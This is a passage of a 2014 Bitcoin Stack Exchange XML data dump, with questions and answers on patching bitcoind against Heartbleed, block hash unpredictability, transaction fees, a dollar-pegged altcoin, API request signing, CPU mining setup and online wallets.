message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;version&quot; : 90000,&#xA;...&#xA;&quot;errors&quot; : &quot;URGENT: Upgrade required: see https://www.bitcoin.org/heartbleed&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What must I do to get a version of bitcoind that is not vulnerable to heartbleed?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="10756" LastActivityDate="2014-04-18T12:28:11.373" Title="Heartbleed: When will bitcoind 0.9.1 be released for Ubuntu 12.04?" Tags="|ubuntu|" AnswerCount="2" CommentCount="0" ClosedDate="2014-04-19T07:10:24.497" ContentLicense="CC BY-SA 3.0" />
  <row Id="24689" PostTypeId="2" ParentId="24688" CreationDate="2014-04-18T11:31:39.720" Score="0" Body="&lt;p&gt;Don't use the Ubuntu PPA for bitcoin as &lt;strong&gt;it is outdated&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, downlaod the generic Linux tarball. Don't worry, you don't have to compile anything, it contains binaries as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download link: &lt;a href=&quot;https://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/download&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unpack, and copy the binaries from bin/64 folder to /usr/local/bin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can just copy&amp;amp;paste this into your terminal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wget https://bitcoin.org/bin/0.9.1/bitcoin-0.9.1-linux.tar.gz&#xA;tar xvzf bitcoin-0.9.1-linux.tar.gz&#xA;cd bitcoin-0.9.1-linux/bin/64&#xA;sudo cp bitcoind bitcoin-cli bitcoin-qt /usr/local/bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13530" LastEditorUserId="13530" LastEditDate="2014-04-18T11:38:45.427" LastActivityDate="2014-04-18T11:38:45.427" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24690" PostTypeId="2" ParentId="24192" CreationDate="2014-04-18T11:48:47.727" Score="0" Body="&lt;p&gt;Please note that fees are still completely optional and it depends on miners if they include your transactions in the block or not. As of now, you can still send trx without any fee but it might take a day until it makes it to a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This change only affected the original bitcoin core client which only relays transactions with some minimum fee. You can however still send out transaction with any (or no) fee. See &lt;strong&gt;paytxfee&lt;/strong&gt; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The change was just a quick and temporary fix. In the future, fees will be calculated more dynamically, according to demand and supply rules. Perhaps we'll see this in 1.0.&lt;/p&gt;&#xA;" OwnerUserId="13530" LastActivityDate="2014-04-18T11:48:47.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24691" PostTypeId="2" ParentId="24685" CreationDate="2014-04-18T12:04:48.137" Score="2" Body="&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The Ubuntu PPA has been updated with packages for Bitcoin Core 0.9.1.  Ironically, they make the upgrade warning go away, but &lt;strong&gt;they do not fix the problem!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin Core packages for Ubuntu do not include a dependency on a fixed version of the OpenSSL libraries.  Therefore, if you have not upgraded OpenSSL on your Ubuntu system, you will still be able to install the Bitcoin Core 0.9.1 packages.  It runs just fine, and displays no warnings, yet is still vulnerable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So upgrading to the Bitcoin Core 0.9.1 packages is neither necessary nor sufficient to remove the vulnerability.  The one and only thing to do is to upgrade OpenSSL, and then (other than the warning message) it does not matter whether you use 0.9.0 or 0.9.1.  Bitcoin 0.9.1 has absolutely no functional changes versus 0.9.0 (I diffed the sources).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To summarize:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin 0.9.1, new OpenSSL: Not vulnerable, no warning&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin 0.9.0, new OpenSSL: Not vulnerable, displays warning&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin 0.9.1, old OpenSSL: Vulnerable, no warning&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin 0.9.0, old OpenSSL: Vulnerable, displays warning.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I will try to find the proper place to report this as a bug.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Previous discussion&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The Heartbleed bug is not in bitcoind itself, but in the OpenSSL system library on which it depends.  The bug is &quot;fixed&quot; in Bitcoin Core 0.9.1, but all they did was to require the use of OpenSSL 1.0.1g, which incorporates the actual fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, Ubuntu has not updated their distributed version of OpenSSL to 1.0.1g; instead, they have patched the version that they are using.  The patched version is 1.0.1-4ubuntu5.12.  Ubuntu's security advisory is posted at &lt;a href=&quot;http://www.ubuntu.com/usn/usn-2165-1/&quot; rel=&quot;nofollow&quot;&gt;http://www.ubuntu.com/usn/usn-2165-1/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possibly as a result of this, Ubuntu packages for Bitcoin Core 0.9.1 have apparently not been created; but if you upgrade your OpenSSL libraries, it is not necessary to upgrade Bitcoin Core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have the &lt;code&gt;precise-security&lt;/code&gt; repository in your software sources (or in &lt;code&gt;/etc/apt/sources.list&lt;/code&gt;), all you need to do is install the updates as you normally would, using either the update manager or &lt;code&gt;aptitude update; aptitude upgrade&lt;/code&gt;.  If you have unattended upgrades enabled, this has probably happened already.  You can check the installed version by running &lt;code&gt;dpkg -l libssl1.0.0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once this is done, you should restart bitcoind.  (In fact, if possible you should probably reboot the system, to ensure that other potentially vulnerable services are also restarted.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, upgrading Bitcoin Core does not require you to re-download the block chain.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2014-04-20T15:21:23.610" LastActivityDate="2014-04-20T15:21:23.610" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="24692" PostTypeId="2" ParentId="24688" CreationDate="2014-04-18T12:28:11.373" Score="1" Body="&lt;p&gt;See my answer &lt;a href=&quot;https://bitcoin.stackexchange.com/a/24691/5757&quot;&gt;here&lt;/a&gt;.  Short version: if you upgrade your system OpenSSL libraries, it is not necessary to upgrade to Bitcoin Core 0.9.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If someone will upvote the other answer, we can close this question as a duplicate of the other one.)&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-04-18T12:28:11.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24693" PostTypeId="2" ParentId="24668" CreationDate="2014-04-18T14:32:51.137" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://www.casascius.com/&quot; rel=&quot;nofollow&quot;&gt;Some physical coins&lt;/a&gt; contain private keys. In this case, the coin has value as a cryptocurrency until the private key is used and the address emptied of funds. You could also transfer more money to the coin, so it could be worth more or less than the cryptocurrency amount that's printed on the coin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The coins are typically made out of a metal, which has a value of its own. One ounce of copper is only worth about $0.19, but Shibe Mint's &lt;a href=&quot;https://shibemint.com/?product=physical-dogecoin-2014-pure-silver-edition&quot; rel=&quot;nofollow&quot;&gt;silver dogecoin&lt;/a&gt; is made of 1 oz of silver, so it's worth at least &lt;a href=&quot;http://silverprice.org/&quot; rel=&quot;nofollow&quot;&gt;~$19.63&lt;/a&gt;. Since it's selling for $35, you could say that the &quot;collectible&quot; portion of the product is valued at ~$15. Even if it actually includes a private key for the 100 dogecoin it's denominated as, this doesn't significantly change this figure, since 100 dogecoin is about $0.06.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-04-18T14:37:59.313" LastActivityDate="2014-04-18T14:37:59.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24698" PostTypeId="1" AcceptedAnswerId="24705" CreationDate="2014-04-18T18:07:24.470" Score="3" ViewCount="1141" Body="&lt;p&gt;to create the block chain, the Bitcoin network runs hashing algorithms for each block, is it mathematically possible to predict the hash value of say, the 100th block from the last block currently in the chain?&lt;/p&gt;&#xA;" OwnerUserId="15342" OwnerDisplayName="254code_rep" LastActivityDate="2014-04-18T21:25:52.427" Title="Are Bitcoin Block Hashes Predictable" Tags="|hash|cryptography|sha256|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24700" PostTypeId="2" ParentId="10731" CreationDate="2014-04-18T19:18:49.110" Score="1" Body="&lt;p&gt;From what I know of it and the research I've done personally, bigger pools mean smaller payouts more often, while smaller pools mean bigger payouts less often.  Overall you make the same amount over the same amount of time, based on your own mining equipment's productivity.  What it comes down to is how often you want to be paid - big lump sum once in a blue moon, or regular micro-payments.&lt;/p&gt;&#xA;" OwnerUserId="15332" LastActivityDate="2014-04-18T19:18:49.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24702" PostTypeId="2" ParentId="24698" CreationDate="2014-04-18T20:48:01.040" Score="1" Body="&lt;p&gt;No, not at all.&#xA;The hash of every block depends on the previous block. And it also depends on all the transactions included in the block. That's the whole point :-)&lt;/p&gt;&#xA;" OwnerUserId="13530" LastActivityDate="2014-04-18T20:48:01.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24705" PostTypeId="2" ParentId="24698" CreationDate="2014-04-18T21:20:38.763" Score="4" Body="&lt;p&gt;Bitcoin uses two rounds of SHA256 on the entire contents of each block (which includes a reference to the previous block) as well as a randomly varied nonce. When the result of those calculations are below a network-determined threshold it is considered to be a valid solution. These solutions are published along with the block as it is distributed to the network so finding the hash of old blocks is trivially easy, you just look them up. Verifying that the math was done correctly and that the result meets the criteria requires only a single iteration of sha256(sha256(block+nonce)) while finding the appropriate nonce the first time takes an absolutely insane number of attempts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The insane number of attempts is necessarily because the output of sha256 is, effectively, pseudorandom and covers a huge space. The algorithm is deterministic, so sha256(x) will always have the same result, but the result is entirely unpredictable and minor changes in the value of x will dramatically alter the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way to predict the output of a cryptographically secure hash algorithm like sha256 is a pre-image attack: You would have to pre-generate the contents of all possible blocks, hash them and store the results. At that point solving a block would be as trivial as a database lookup, assuming you could store all 2^256 possible outcomes, which you can't, and that you could generate all 2^256 possible outcomes before the heat death of the universe, which you can't.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2014-04-18T21:25:52.427" LastActivityDate="2014-04-18T21:25:52.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24708" PostTypeId="1" AcceptedAnswerId="24711" CreationDate="2014-04-19T02:02:44.383" Score="-1" ViewCount="118" Body="&lt;p&gt;By baking into the algorithm dynamically adjusting the 'difficultly' so that if it is more expensive than the fiat currency then more coins can be created, and visa-versa- causing the currency to dynamically adjust itself to 1:1 exchange rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By having an alt-coin tracking (for example) the US dollar then it would be possible to keep all your money in the 'alt-coin' domain and not have to transfer money (incurring fees) to  Fiat currencies.&lt;/p&gt;&#xA;" OwnerUserId="5450" LastActivityDate="2014-04-19T07:27:44.733" Title="DollarTrackerCoin - Would it be possible to create an alt coin that tracks a Fiat currency?" Tags="|altcoin|" AnswerCount="2" CommentCount="0" ClosedDate="2014-04-25T20:44:16.143" ContentLicense="CC BY-SA 3.0" />
  <row Id="24709" PostTypeId="2" ParentId="19792" CreationDate="2014-04-19T05:30:59.633" Score="1" Body="&lt;p&gt;There's also another possibility, that's that you haven't yet downloaded all the block chain with bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you haven't yet started the daemon you must use this command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind -daemon&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, you can use the command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind getblockcount&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To check the number of blocks that the daemon has already downloaded, and compare it with the &lt;a href=&quot;http://blockexplorer.com/&quot; rel=&quot;nofollow&quot;&gt;lastest block number&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your transaction is on the lastest blocks, so you must wait it to be completed, and this can take many hours.&lt;/p&gt;&#xA;" OwnerUserId="15341" LastActivityDate="2014-04-19T05:30:59.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24711" PostTypeId="2" ParentId="24708" CreationDate="2014-04-19T06:16:06.920" Score="1" Body="&lt;p&gt;I see at least one problem with this. Adjusting the difficulty (or miner rewards, or something similar) works much better one way than the other. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll assume a mining system similar to Bitcoin. If the value of your coin gets too high, sure you can devalue it by making it easier to mine and dumping more coins on the market. (Already there is an issue that you'll have to get everyone to agree that the mining adjustments are being made based on a &quot;true&quot; market price that isn't subject to manipulation.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what do you do if the value is too low?   Making it harder to mine will slow down its inflation, but does nothing about the coins already out there. Unless you are going to take away people's coins or buy them back somehow, this will be a very slow way to revalue your currency. It may not be able to keep up with the market.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To put it another way, if you control the supply, you can drive the price down as far as you like. But to drive it up, there has to be demand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, as you make mining less rewarding, miners will leave. This hurts the security of your coin and makes a 51% or similar attack easier, and will tend to reduce demand further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The usual approach for making one currency track another is with a peg: a market participant with extremely deep pockets (such as a government) announces that they will buy or sell unlimited amounts of the coin at the desired rate. If they do so, the price cannot fall above or below this fixed rate. But if the market starts to doubt their willingness or ability to maintain the peg, you may see a run on the bank.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-04-19T06:16:06.920" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24712" PostTypeId="2" ParentId="24708" CreationDate="2014-04-19T07:27:44.733" Score="1" Body="&lt;p&gt;The problem is the &quot;visa-versa&quot; you describe. A coin cannot be made more valuable in terms of $ per coin by difficulty-related magic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Difficulty only affects the number of new coins minted in a certain timeframe. Given that this amount is always positive, a coin can only ever become less valuable at different rates.&lt;/p&gt;&#xA;" OwnerUserId="7144" LastActivityDate="2014-04-19T07:27:44.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24713" PostTypeId="2" ParentId="24106" CreationDate="2014-04-19T07:28:40.290" Score="1" Body="&lt;p&gt;Michael,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To generate the Rest-Sign header, use the following code (example in PHP):&#xA;&lt;code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rest-Sign function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; function hmac_512($msg, $secret)&#xA;        {&#xA;        $secret = base64_decode($secret);&#xA;        $result = hash_hmac('sha512', $msg, $secret, true);&#xA;        return base64_encode($result);&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Rest-Sign inputs&#xA;$post_data should be an array with a nonce and any relevant API post data, and $api_path should be the portion of the API after &lt;a href=&quot;https://anxbtc.com/api/2/&quot; rel=&quot;nofollow&quot;&gt;https://anxbtc.com/api/2/&lt;/a&gt; that you are calling.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       $post_data_encoded = http_build_query($post_data);&#xA;       $msg = $api_path . &quot;\0&quot; . $post_data_encoded;&#xA;       $rest_sign = $this-&amp;gt;hmac_512($msg, $api_secret);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/code&gt;&#xA;&#xA;Regarding your second question, you can run this API from your personal computer or a server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Evan&lt;/p&gt;&#xA;" OwnerUserId="15344" LastActivityDate="2014-04-19T07:28:40.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24715" PostTypeId="2" ParentId="23740" CreationDate="2014-04-19T07:40:15.480" Score="-1" Body="&lt;p&gt;The real answer:&#xA;Sell all of your graphics cards immediately and buy coins with the proceeds. you will never pay for the cards with all of their future mining combined at this point. If you believe in litecoin or altcoins, buy them. If your goal was to mine and exchange for bitcoins, buy bitcoins. The current estimator has 1 MH/s as being worth $127. Even if that holds for 3 months (doubtful) and you have free power (doubtful) you will have more than $380 in depreciation as people begin to sell their cards.&#xA;When asics come out, you're done. Gross revenue will go to $10/month easily.&lt;/p&gt;&#xA;" OwnerUserId="7144" LastActivityDate="2014-04-19T07:40:15.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24717" PostTypeId="1" CreationDate="2014-04-19T10:00:52.613" Score="1" ViewCount="1933" Body="&lt;p&gt;So I decided to take a look at this bitcoin stuff. I would like to test Ufasoft for CPU mining. Don't really care about performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is this nice guide: &lt;a href=&quot;https://50btc.com/en/articles/view/68&quot; rel=&quot;nofollow&quot;&gt;https://50btc.com/en/articles/view/68&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I follow the steps:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Download &lt;a href=&quot;http://ufasoft.com/open/bitcoin/&quot; rel=&quot;nofollow&quot;&gt;http://ufasoft.com/open/bitcoin/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Install it&lt;/li&gt;&#xA;&lt;li&gt;Run &lt;code&gt;&quot;%ProgramFiles%\Ufasoft\Coin\coin-miner.exe&quot;-u you@email.com -o http://pool.50btc.com:8332&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After running that, well, the command line stays there, with no feedback whatsoever. I can't type anything on it so I guess it is indeed doing something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, out of curiosity I check out the activity monitor, and the CPU usage is almost always at 1% or 2%. Sometimes it may suddenly pick to 5%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was under the impression that CPU mining would cause some sort of greater spike, so I'm not sure if the miner is actually doing something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It then ocurred to me to, of course, check out the 50BTC dashboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a worker, whose name is the same as my account name (which is the email address I used to startup the miner), so I guess this worker is the one that should be showing some sort of feedback. However, it says it is &quot;offline&quot;, so it seems like, after all, the miner is indeed doing nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally I'd just go on and try another miner, but I'd like to solve this anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What have I done wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on Windows 7 with 4 cores. GPU mining has worked fine with software such as BitMinter in the past.&lt;/p&gt;&#xA;" OwnerUserId="15087" LastEditorUserId="5406" LastEditDate="2016-04-25T19:49:49.883" LastActivityDate="2017-08-13T20:18:20.760" Title="Using Ufasoft miner with 50BTC" Tags="|miner-configuration|cpu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24718" PostTypeId="2" ParentId="17176" CreationDate="2014-04-19T11:01:46.277" Score="-1" Body="&lt;p&gt;I go a bit fancier:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set /p xin=&#xA;set xout=&quot;%xin%.txt&quot;&#xA;openssl enc -d -aes-256-cbc -a -in &quot;%XIN%&quot; -out %XOUT% &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But basically you want to name a file for the output and also the -k flag allows &lt;strong&gt;PASSWORD&lt;/strong&gt; directly to be entered, like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;openssl enc -d -aes-256-cbc -a -in &quot;&lt;strong&gt;INFILE&lt;/strong&gt;&quot; -out &quot;&lt;strong&gt;OUTFILE&lt;/strong&gt;.txt&quot; -k &lt;strong&gt;PASSWORD&lt;/strong&gt; , &lt;/p&gt;&#xA;&#xA;&lt;p&gt;where &lt;strong&gt;CAPS&lt;/strong&gt; is the variable. Save above 3 lines or single openssl cmd into a *.bat (WinBatch file)&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-04-19T11:01:46.277" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24719" PostTypeId="1" CreationDate="2014-04-19T12:40:16.867" Score="-1" ViewCount="99" Body="&lt;p&gt;I have huge problem which I can't handle with. &#xA;I'br read many articles about fees and still I don't know how can I solve my problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I will show you in an example:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;user A creates a product in his shop (for 0.10 bitcoin)&lt;/li&gt;&#xA;&lt;li&gt;user B creates a widget of this product from user A&lt;/li&gt;&#xA;&lt;li&gt;user C buy this product from the widget which belongs to user B&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;so user A and B should earn money therefore I must split sent them btc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;product price: 0.10 btc&#xA;user A, gets 70% of 0.10 btc&#xA;user B, gets 15% of 0.10 btc&#xA;and I get the rest, 15% of 0.10 btc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;everything is okey, but now I have make 2 transactions from my wallet:&#xA;1. send btc to user A&#xA;2. send btc to user B&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and here it is the question: how can I calculate fee for sending money to user A and B?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using coinbase.com as an API to sending / getting btc.&lt;/p&gt;&#xA;" OwnerUserId="15348" LastActivityDate="2014-04-20T02:46:15.230" Title="How to calculate fees for one transaction splitted to many" Tags="|transaction-fees|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24720" PostTypeId="1" CreationDate="2014-04-19T13:50:33.893" Score="2" ViewCount="786" Body="&lt;p&gt;Total newbie at bitcoin; long time Linux user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;kubuntu precise 64: My first attempt was just to download it (a slightly older version than the one from the ppa below), untar it and run the executable. That worked fine and it was downloading the data (block chain?). Then I played with some settings and it stopped downloading. I tried a bunch of things with no success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Among other things, I tried encrypting my wallet and changing the network settings in bitcoin about the time things stopped working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I deleted the whole tarball, the expanded files, and the .bitcoin directory tree and installed from apt using the instructions at:&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2645/installing-bitcoin-qt-on-ubuntu&quot;&gt;Installing Bitcoin-Qt on Ubuntu&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It still won't download anything. It says &quot;No block source available ...&quot; and debug.log ends with a ton of messages which say&#xA;2014-04-19 13:36:21 connect() to 192.168.1.2:8333 failed after select(): Connection refused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I went into my Actiontec gateway and saw that a port forwarding rule had been created by uPnP for 192.168.1.2:8333 (that's my notebook address with the port added) that says TCP any -&gt; 8333. I have other rules using this IP - without the port on the address - which forward ports 587, 995, 5192.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to &lt;a href=&quot;http://www.canyouseeme.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.canyouseeme.org/&lt;/a&gt; , it tells me port 5192 is open (I have another application using that port), but it says &quot;connection refused&quot; for 587, 995, and 8333.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clues as to what I'm doing wrong (or what I should be doing instead) would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't figure out why the original attempt was working and then stopped.&lt;/p&gt;&#xA;" OwnerUserId="15349" LastActivityDate="2014-04-21T01:57:49.290" Title="Just installed bitcoin, but it won't connect" Tags="|blockchain|bitcoin-core|ubuntu|connection|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24722" PostTypeId="1" AcceptedAnswerId="24750" CreationDate="2014-04-19T15:17:45.793" Score="3" ViewCount="859" Body="&lt;p&gt;Is it an internal PRNG? Is it fed  from &lt;code&gt;/dev/random&lt;/code&gt; or &lt;code&gt;/dev/urandom&lt;/code&gt;? How secure is it? If I have a hardware (TRNG) plugged in feeding my &lt;code&gt;/dev/random&lt;/code&gt; will this source of entropy get used by &lt;code&gt;bitcoind&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1761" LastActivityDate="2014-04-20T21:20:07.523" Title="What kind of random numbers source does getnewaddress in Bitcoin Core API (bitcoind) uses?" Tags="|bitcoind|api|address-generation|random|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24729" PostTypeId="2" ParentId="24637" CreationDate="2014-04-19T17:32:57.207" Score="1" Body="&lt;p&gt;Splitting into change is not a one-way process. Transactions can have multiple inputs as well as multiple outputs. So you can create a transaction with 5 inputs and 1 output, that will reverse the splitting effect of change. In practice combining transactions like this should happen long before the outputs are split into dust.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dust is discouraged, both by miners and by wallets.&lt;/p&gt;&#xA;" OwnerUserId="15355" LastActivityDate="2014-04-19T17:32:57.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24732" PostTypeId="2" ParentId="9021" CreationDate="2014-04-19T22:26:33.800" Score="0" Body="&lt;p&gt;According to the current &lt;a href=&quot;https://litecoin.info/Service_directory#Wallet_services&quot; rel=&quot;nofollow&quot;&gt;Wallet service overview&lt;/a&gt; of the &lt;a href=&quot;https://litecoin.info&quot; rel=&quot;nofollow&quot;&gt;Litecoin-Wiki&lt;/a&gt; there are six online wallet-services (copied from there):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://liteaddress.org/&quot; rel=&quot;nofollow&quot;&gt;liteaddress.org&lt;/a&gt; - Litecoin address generation tools&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.reddit.com/r/ALTcointip/wiki/index&quot; rel=&quot;nofollow&quot;&gt;reddit ALTcointip bot&lt;/a&gt; - give and receive Litecoin tips from reddit users&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.coinkite.com/&quot; rel=&quot;nofollow&quot;&gt;Coinkite&lt;/a&gt; - Coinkite is a web wallet with merchant services, Point-of-Sale terminals and debit cards. Sign up here&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.coinwallet.co/&quot; rel=&quot;nofollow&quot;&gt;CoinWallet.co&lt;/a&gt; - Online wallet&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://harbor.ly/&quot; rel=&quot;nofollow&quot;&gt;Harborly&lt;/a&gt; - Online wallet that can be linked with any US bank account&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://holytransaction.com/&quot; rel=&quot;nofollow&quot;&gt;HolyTransaction&lt;/a&gt; - Online wallet, multi-currency support&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-04-19T22:26:33.800" CommentCount="0" CommunityOwnedDate="2014-04-22T20:42:03.873" ContentLicense="CC BY-SA 3.0" />
  <row Id="24734" PostTypeId="2" ParentId="24719" CreationDate="2014-04-20T02:46:15.230" Score="0" Body="&lt;p&gt;For fees in general, this site is a great reference:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoinfees.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinfees.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you're using coinbase.com, they seem to eat the blockchain transaction fees when you send money.&lt;/p&gt;&#xA;" OwnerUserId="12919" LastActivityDate="2014-04-20T02:46:15.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
